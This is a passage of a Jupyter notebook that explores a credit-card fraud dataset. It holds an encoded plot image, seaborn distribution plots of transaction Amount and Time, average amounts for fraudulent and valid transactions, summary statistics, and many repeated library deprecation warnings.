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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "# plot the named features \n", + "f, axes = plt.subplots(1, 2, figsize=(18,4), sharex = True)\n", + "\n", + "amount_value = dataset['Amount'].values # values\n", + "time_value = dataset['Time'].values # values\n", + "\n", + "sns.distplot(amount_value, hist=False, color=\"m\", kde_kws={\"shade\": True}, ax=axes[0]).set_title('Distribution of Amount')\n", + "sns.distplot(time_value, hist=False, color=\"m\", kde_kws={\"shade\": True}, ax=axes[1]).set_title('Distribution of Time')\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Average Amount in a Fraudulent Transaction: 122.21132113821139\n", + "Average Amount in a Valid Transaction: 88.29102242231328\n" + ] + } + ], + "source": [ + "print(\"Average Amount in a Fraudulent Transaction: \" + str(dataset[dataset[\"Class\"] == 1][\"Amount\"].mean()))\n", + "print(\"Average Amount in a Valid Transaction: \" + str(dataset[dataset[\"Class\"] == 0][\"Amount\"].mean()))" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Summary of the feature - Amount\n", + "-------------------------------\n", + "count 284807.000000\n", + "mean 88.349619\n", + "std 250.120109\n", + "min 0.000000\n", + "25% 5.600000\n", + "50% 22.000000\n", + "75% 77.165000\n", + "max 25691.160000\n", + "Name: Amount, dtype: float64\n" + ] + } + ], + "source": [ + "print(\"Summary of the feature - Amount\" + \"\\n-------------------------------\")\n", + "print(dataset[\"Amount\"].describe())" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an axes-level function for kernel density plots).\n", + " warnings.warn(msg, FutureWarning)\n", + "C:\\Users\\STRIX\\AppData\\Local\\Programs\\Python\\Python38\\lib\\site-packages\\seaborn\\distributions.py:2557: FutureWarning: `distplot` is a deprecated function and will be removed in a future version. Please adapt your code to use either `displot` (a figure-level function with similar flexibility) or `kdeplot` (an 